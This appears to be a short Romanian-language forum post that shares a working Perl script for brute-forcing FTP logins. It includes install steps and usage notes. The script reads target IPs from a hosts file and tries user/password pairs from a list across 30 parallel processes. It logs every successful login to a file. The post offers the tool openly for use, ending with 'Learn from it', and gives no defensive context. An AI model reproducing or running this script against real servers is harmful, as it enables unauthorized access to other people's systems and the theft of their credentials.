Ia d'aci cpan -install Net::FTP Parallel::ForkManager ca sa-l faci sa mearga... perl brute_ftp.pl ia singur ip-uri din hosts si "user pass" din pass_file #!/usr/bin/perl #Copyright MadAgent 2012 use Net::FTP; use Parallel::ForkManager; my $pm=new Parallel::ForkManager(30); my $port = "21"; open (HOSTS, 'hosts'); while (<HOSTS>) { $pm->start and next; chomp; $host=$_; $err=0; $ftp=Net::FTP->new($host, Port=>$port, Timeout=>5) or $err=1; exit if $err; open (PASSFILE, 'pass_file'); while (<PASSFILE>) { chomp; ($user, $pass) = split(" ", $_); $err=0; $ftp->login($user,$pass) or $err=1; next if $err; print "Login found: $host $user $pass\n"; open (MYFILE, '>>ftp.log'); print MYFILE "$host $user $pass\n"; close (MYFILE); } close (PASSFILE); $ftp->close; $pm->finish; } $pm->wait_all_children; close (HOSTS); Learn from it...